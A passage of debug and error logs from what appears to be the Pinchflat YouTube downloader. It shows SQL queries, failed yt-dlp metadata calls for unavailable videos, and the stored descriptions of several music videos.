Soundcloud:\nhttps://soundcloud.com/pianistec\n\n🎧 I hope you enjoied this cover and subscribe for more EPIC in your life! 🎧", "Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION", "b9cbfed0-6586-456e-80d5-a7c2c035a55f", false, "Gacj-03Q5Xo", 183, false, "https://www.youtube.com/watch?v=Gacj-03Q5Xo", 10, "/downloads/Grift/Grift/2025-04-19Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION[Gacj-03Q5Xo].m4a", false, false, 4, [], 1, ~U[2025-04-19 00:54:18Z], ~U[2026-07-24 02:21:34Z], ~U[2026-07-24 02:21:34Z], "#EpicMusic2025 #warhammer40k #warhammer \nWarhammer Darktide: Disposal Unit - Pianistec Cover\n\nThis is an epic orchestral cover of \"Disposal Unit (Imperium Mix)\" from Warhammer 40,000: Darktide, originally composed by Jesper Kyd. I actually found this theme through the \"Milky Way Sweep\" warhammer meme. At the end I merged it with the melody of \"His Angels\", originally composed by Cloud of Judgement.\n\n►Credits\n- Original Soundtrack by Jesper Kyd on Spotify: https://open.spotify.com/intl-de/track/3nZ7CNw1UD2qpsE4oBbZIE?si=23fd1d3e58e84ac7\n- Space Marine Army March Clip originally made by \"Erasmus Brosdau\"\n- Original Milky Way Sweep Meme Video: https://www.youtube.com/watch?v=B1rMvEYsMaM\n- Thanks to Nick, Jadzia and Lukas for helping me with the army and ethnic vocals.\n\n►If you want to support me, you can buy me a coffee here:\nhttps://www.buymeacoffee.com/pianistec\n\n►Or follow me on Patreon\nhttps://www.patreon.com/Pianistec\n\n►Terms of Usage\nIllegaly distributing or remixing my music is FORBIDDEN.\nIf you want to use the music, please have a look at the terms of usage:\nhttps://textdoc.co/XLspMhDGJNx4a7f3\n\n►All copyrights belong to their respective owners\nComposition: \n\"Disposal Unit (Imperium Mix)\" by Jesper Kyd\n\"His Angels\" by Cloud of Judgement\nShort Animation Clip by Erasmus Brosdau\nWallpaper: Created by AI ©Pianistec\n\n►I'm also making piano music, you can listen to it here: https://www.youtube.com/@BrothersOnPiano\n\n►Video made with FL Studio ZGameEditor Visualizer plugin\nEffect author credits: \nItsFullOfStars - Jph Wacheski http://jph_wacheski.itch.io/ \nColorBlobs - @paulofalcao\nLinear - StevenM,Dubswitcher,Youlean \nDubswitcher Linear Blur\nPeakmap - Dubswitcher\nRaindrops - Martijn Steinrucken @The_ArtOfCode \nFrameBlur - Cynex \nPolar - Kjell, Dubswitcher \n\n►Contact:\npianistec.contact@gmail.com\n\n►My frequently used libraries:\n- Composers Cloud + (EastWest)\n- Metropolis Ark 1 - 5 (Orchestral Tools)\n- Drum Ensembles (Heavyocity)\n- Damage 2 (Heavyocity)\n- Evolution: Devastator Warzone (Keepforest)\n- Jaeger (Audio Imperia)\n- Nucleus (Audio Imperia)\n- Solo (Audio Imperia)\n- Klavier (Audio Imperia)\n- Chorus (Audio Imperia)\n- Talos (Audio Imperia)\n- Oceania I & II (Performance Samples)\n- Pacific Strings (Performance Samples)\n- The Giant (Native Instruments)\n- Trailer Brass (MusicalSampling)\n- Strikeforce 2 (Laboratory Audio)\n- Woodchester Piano (Fracture Sounds)\n- Cinematic Studio Strings (Cinematic Studio Series)\n- Cinematic Studio Brass (Cinematic Studio Series)\n\n►Used Daw:\nFl Studio\n\n►Social Media:\nInstagram: https://instagram.com/pianistecmusic\n\n►Follow me on Spotify, iTunes, Amazon, etc:\nhttps://songwhip.com/pianistec\n\n►Follow me on Soundcloud:\nhttps://soundcloud.com/pianistec\n\n🎧 I hope you enjoied this cover and subscribe for more EPIC in your life! 🎧", "Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION", "Gacj-03Q5Xo", 183, false, "https://www.youtube.com/watch?v=Gacj-03Q5Xo", "/downloads/Grift/Grift/2025-04-19Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION[Gacj-03Q5Xo].m4a", false, 4, ~U[2025-04-19 00:54:18Z]] 22:21:34.704 [debug] QUERY OK source="sources" db=0.3ms idle=446.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:34.704 [debug] QUERY OK source="media_items" db=0.2ms idle=445.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2006-12-26 14:09:32Z], 4] 22:21:34.753 [debug] QUERY OK source="sources" db=729.7ms idle=268.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:34.753 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vF9r6CoZgnQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/40/85/40855802335d1a0d6b49547052488dfefa6b37b8c8d1ed92b1246f1a684f039d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available 22:21:34.753 [error] yt-dlp download error for media item #194: "ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available\n" 22:21:34.753 [error] yt-dlp download will not be retried: "ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available\n" 22:21:34.753 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=49.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:34.754 [debug] QUERY OK source="media_items" db=0.3ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 10:01:25Z], 1] 22:21:35.229 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vgldRamTEBI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cc/b4/ccb4ee38cd3b35ec0418613a954778d8f599f79264c49c442daa3fd69871afb5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available 22:21:35.230 [error] yt-dlp download error for media item #190: "ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available\n" 22:21:35.230 [info] {"args":{"id":194},"id":215,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4368417,"event":"job:stop","queue_time":413827,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:35.230 [error] yt-dlp download will not be retried: "ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available\n" 22:21:35.230 [debug] QUERY OK source="media_items" db=475.0ms idle=0.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "4534cef6-4a2d-4fce-9a56-827a84d0d104", false, "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", 4, "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, false, 1, [], 2, ~U[2026-05-22 10:01:25Z], ~U[2026-07-24 02:21:34Z], ~U[2026-07-24 02:21:34Z], "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, 1, ~U[2026-05-22 10:01:25Z]] 22:21:35.231 [debug] QUERY OK source="media_items" db=476.4ms queue=0.3ms idle=493.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🐲📢💙 DragonForce Announce New Vocalist & Frontwoman, Alissa White-Gluz.\n🎟️ Inhuman Rampage 20th Anniversary Tour Dates, Tickets & Limited VIP Upgrades: https://dragonforce.com/shows/\n\nDragonForce Through the Fire and Flames is the platinum selling record of the album 'Inhuman Rampage'. This classic was also featured on the video game Guitar Hero III - Legends of Rock as the hardest song to beat. DragonForce's musical style is called Extreme Power Metal! This song was uploaded many times in the early days of YouTube but this was the first! Yes, we know it is a meme song of many memes! #dragonforce #hermanli #throughthefireandflames\n\nDragonForce is a Grammy nominated platinum selling metal band. For over 20 years, DragonForce have toured around the world and shared the stage with many amazing bands including Iron Maiden, Metallica, Megadeth, Helloween, Sabaton, Nightwish, Powerwolf, Amon Amarth, Hammerfall, Amaranthe, Blind Guardian, Stratovarius, Avenged Sevenfold, Five Finger Death Punch, Rhapsody and many more bands on Nuclear Blast Records, Napalm Records.\n\nSUBSCRIBE ► https://www.youtube.com/c/dragonforce?sub_confirmation=1\nENABLE ► Notification\nTWITCH LIVESTREAM ► https://twitch.tv/hermanli\nSCHEDULE ► https://twitch.tv/hermanli/schedule\nJoin Herman Li on Twitch for epic songwriting, live reactions, guitar playthrough, video gaming, gear reviews, special guest events and more!\nGet your Herman shout out to friends ► https://cameo.com/hermanli\n\nDRAGONFORCE\n🌏 Official Site ► https://dragonforce.com\n🎸 Tour Dates, Tickets & VIP ► https://dragonforce.com/shows\n👕 Merch ► https://dragonforce.com/shop\nBluesky ► https://bsky.app/profile/dragonforce.com\nFacebook ► https://facebook.com/dragonforce\nInstagram ► https://instagram.com/dragonforcehq\nRednote ► dragonforce\nTikTok ► https://tiktok.com/@dragonforce\nX/Twitter ► https://twitter.com/dragonforce\nYouTube ► https://youtube.com/dragonforce\n\nHERMAN LI\nOfficial Site ► https://hermanli.com\nBluesky ► https://bsky.app/profile/hermanli.com\nDiscord ► https://discord.gg/hermanli\nFacebook ► https://facebook.com/hermanli.online\nInstagram ► https://instagram.com/hermanli\nRednote ► HermanLi\nTikTok ► https://tiktok.com/@hermanli\nTwitch ► https://twitch.tv/hermanli\nX/Twitter ► https://twitter.com/hermanli\nYouTube ► https://youtube.com/hermanli\n\nDRAGONFORCE MUSIC\nAmazon https://amzn.to/3jOF1hN\niTunes https://apple.co/2P2xTjx\nSpotify https://open.spotify.com/artist/2pH3wEn4eYlMMIIQyKPbVR\nTidal https://bit.ly/348GDxn", "DRAGONFORCE - Through the Fire and Flames (Official Video)", "ff74bb07-eea9-4c81-be9a-238f3da39f1f", false, "0jgrCKhxE1s", 300, false, "https://www.youtube.com/watch?v=0jgrCKhxE1s", 11, "/downloads/Grift/Grift/2006-12-26DRAGONFORCE - Through the Fire and Flames (Official Video)[0jgrCKhxE1s].m4a", false, false, 4, [], 1, ~U[2006-12-26 14:09:32Z], ~U[2026-07-24 02:21:34Z], ~U[2026-07-24 02:21:34Z], "🐲📢💙 DragonForce Announce New Vocalist & Frontwoman, Alissa White-Gluz.\n🎟️ Inhuman Rampage 20th Anniversary Tour Dates, Tickets & Limited VIP Upgrades: https://dragonforce.com/shows/\n\nDragonForce Through the Fire and Flames is the platinum selling record of the album 'Inhuman Rampage'. This classic was also featured on the video game Guitar Hero III - Legends of Rock as the hardest song to beat. DragonForce's musical style is called Extreme Power Metal! This song was uploaded many times in the early days of YouTube but this was the first! Yes, we know it is a meme song of many memes! #dragonforce #hermanli #throughthefireandflames\n\nDragonForce is a Grammy nominated platinum selling metal band. For over 20 years, DragonForce have toured around the world and shared the stage with many amazing bands including Iron Maiden, Metallica, Megadeth, Helloween, Sabaton, Nightwish, Powerwolf, Amon Amarth, Hammerfall, Amaranthe, Blind Guardian, Stratovarius, Avenged Sevenfold, Five Finger Death Punch, Rhapsody and many more bands on Nuclear Blast Records, Napalm Records.\n\nSUBSCRIBE ► https://www.youtube.com/c/dragonforce?sub_confirmation=1\nENABLE ► Notification\nTWITCH LIVESTREAM ► https://twitch.tv/hermanli\nSCHEDULE ► https://twitch.tv/hermanli/schedule\nJoin Herman Li on Twitch for epic songwriting, live reactions, guitar playthrough, video gaming, gear reviews, special guest events and more!\nGet your Herman shout out to friends ► https://cameo.com/hermanli\n\nDRAGONFORCE\n🌏 Official Site ► https://dragonforce.com\n🎸 Tour Dates, Tickets & VIP ► https://dragonforce.com/shows\n👕 Merch ► https://dragonforce.com/shop\nBluesky ► https://bsky.app/profile/dragonforce.com\nFacebook ► https://facebook.com/dragonforce\nInstagram ► https://instagram.com/dragonforcehq\nRednote ► dragonforce\nTikTok ► https://tiktok.com/@dragonforce\nX/Twitter ► https://twitter.com/dragonforce\nYouTube ► https://youtube.com/dragonforce\n\nHERMAN LI\nOfficial Site ► https://hermanli.com\nBluesky ► https://bsky.app/profile/hermanli.com\nDiscord ► https://discord.gg/hermanli\nFacebook ► https://facebook.com/hermanli.online\nInstagram ► https://instagram.com/hermanli\nRednote ► HermanLi\nTikTok ► https://tiktok.com/@hermanli\nTwitch ► https://twitch.tv/hermanli\nX/Twitter ► https://twitter.com/hermanli\nYouTube ► https://youtube.com/hermanli\n\nDRAGONFORCE MUSIC\nAmazon https://amzn.to/3jOF1hN\niTunes https://apple.co/2P2xTjx\nSpotify https://open.spotify.com/artist/2pH3wEn4eYlMMIIQyKPbVR\nTidal https://bit.ly/348GDxn", "DRAGONFORCE - Through the Fire and Flames (Official Video)", "0jgrCKhxE1s", 300, false, "https://www.youtube.com/watch?v=0jgrCKhxE1s", "/downloads/Grift/Grift/2006-12-26DRAGONFORCE - Through the Fire and Flames (Official Video)[0jgrCKhxE1s].m4a", false, 4, ~U[2006-12-26 14:09:32Z]] 22:21:35.377 [info] {"args":{"id":190},"id":214,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4845615,"event":"job:stop","queue_time":414156,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:35.416 [debug] QUERY OK source="sources" db=184.9ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:35.416 [debug] QUERY OK source="sources" db=185.1ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:35.418 [debug] QUERY OK source="media_profiles" db=1.7ms idle=186.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:35.418 [debug] QUERY OK source="media_items" db=1.6ms idle=39.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-31 19:30:11Z], 4] 22:21:35.419 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 22:21:35.419 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "duration" => 146, "filename" => "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", "id" => "Wq4UaL6Tq5w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "playlist_index" => 5, "timestamp" => 1612398399, "title" => "Evangelion 「AMV」 - washing machine heart", "upload_date" => "20210204"} 22:21:35.572 [debug] QUERY OK source="media_items" db=152.9ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome to my first Doom Eternal video.\nHope you enjoy it.\n\nLinks to music used in the video:\n\n- (GeoffPlaysGuitar) https://youtu.be/qTsgfcoFoyA\n- (2WEi) https://youtu.be/PRVzHdgpLsA\n\nProgram:\nDaVinci Resolve 18\n\nMy Computer:\nMother Board - AsRock B560 Pro4\nProcesor - i5 11400f\nGraphics Card - Rtx 3070 (Gainward Phoenix)\nRam - 32GB 3200MHz cl16 (GOODRAM) \nMemory - 1TB SSD M.2 (Samsung 980)", "Slayer's Paradise (2WEI - Gangsta´s Paradise) \"Doom Eternal - Cinematic Trailer\"", "68990c10-6922-4f3d-9c2e-baec6e1eb259", false, "fnTZh-EDOAs", 179, false, "https://www.youtube.com/watch?v=fnTZh-EDOAs", 12, "/downloads/Grift/Grift/2022-10-31Slayer's Paradise (2WEI - Gangsta´s Paradise) "Doom Eternal - Cinematic Trailer"[fnTZh-EDOAs].m4a", false, false, 4, [], 1, ~U[2022-10-31 19:30:11Z], ~U[2026-07-24 02:21:35Z], ~U[2026-07-24 02:21:35Z], "Welcome to my first Doom Eternal video.\nHope you enjoy it.\n\nLinks to music used in the video:\n\n- (GeoffPlaysGuitar) https://youtu.be/qTsgfcoFoyA\n- (2WEi) https://youtu.be/PRVzHdgpLsA\n\nProgram:\nDaVinci Resolve 18\n\nMy Computer:\nMother Board - AsRock B560 Pro4\nProcesor - i5 11400f\nGraphics Card - Rtx 3070 (Gainward Phoenix)\nRam - 32GB 3200MHz cl16 (GOODRAM) \nMemory - 1TB SSD M.2 (Samsung 980)", "Slayer's Paradise (2WEI - Gangsta´s Paradise) \"Doom Eternal - Cinematic Trailer\"", "fnTZh-EDOAs", 179, false, "https://www.youtube.com/watch?v=fnTZh-EDOAs", "/downloads/Grift/Grift/2022-10-31Slayer's Paradise (2WEI - Gangsta´s Paradise) "Doom Eternal - Cinematic Trailer"[fnTZh-EDOAs].m4a", false, 4, ~U[2022-10-31 19:30:11Z]] 22:21:35.572 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=154.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:35.572 [debug] QUERY OK source="sources" db=0.2ms idle=154.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:35.572 [debug] QUERY OK source="sources" db=0.3ms idle=153.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:35.573 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-18 14:56:08Z], 4] 22:21:35.573 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-02-04 00:26:39Z], 1] 22:21:35.740 [debug] QUERY OK source="media_items" db=166.7ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["» Download/Stream: https://orcd.co/gigachadtheme-phonk\n\n📌g3ox_em - wither (Official Visualizer) is OUT NOW! https://youtu.be/lUvW4LSWX6o?si=MnpK01FwUpHeGxKq\n\n🔴Follow me on Instagram: https://www.instagram.com/g3ox_em/\nProduction/Mix/Master : g3ox_em\nSUBSCRIBE 🔴 g3ox_em Official YT Channel: https://www.youtube.com/channel/UCpIUzvMbh0QZx7mMzcTXIdw?sub_confirmation=1\n🟢Follow me on Spotify: https://open.spotify.com/artist/0Zw2ivPEDptvMHwCXjhdRs?si=7gbO82rCSzCVT-43_7pi0w\n🧡Follow me on Soundcloud: https://soundcloud.com/geox-1\n\nFor business inquiries contact: geoxem@gmail.com\n\n#GigaChad #phonk #drift #phonkytown #memes \n\nTags: gigachad phonky town, gigachad phonk playlist, gigachad phonk remix,\ngigachad phonk 1 hour, gigachad phonk slowed, gigachad phonk theme, gigachad phonk tiktok, gigachad phonk song, gigachad phonk edit, gigachad meme, gigachad meme song, gigachad perfect loop, can you feel my heart", "g3ox_em - GigaChad Theme (Phonk House Version)", "648217bc-64ed-47ce-b933-706e9d6b4d22", false, "OVh0bMNSFss", 146, false, "https://www.youtube.com/watch?v=OVh0bMNSFss", 13, "/downloads/Grift/Grift/2022-08-18g3ox_em - GigaChad Theme (Phonk House Version)[OVh0bMNSFss].m4a", false, false, 4, [], 1, ~U[2022-08-18 14:56:08Z], ~U[2026-07-24 02:21:35Z], ~U[2026-07-24 02:21:35Z], "» Download/Stream: https://orcd.co/gigachadtheme-phonk\n\n📌g3ox_em - wither (Official Visualizer) 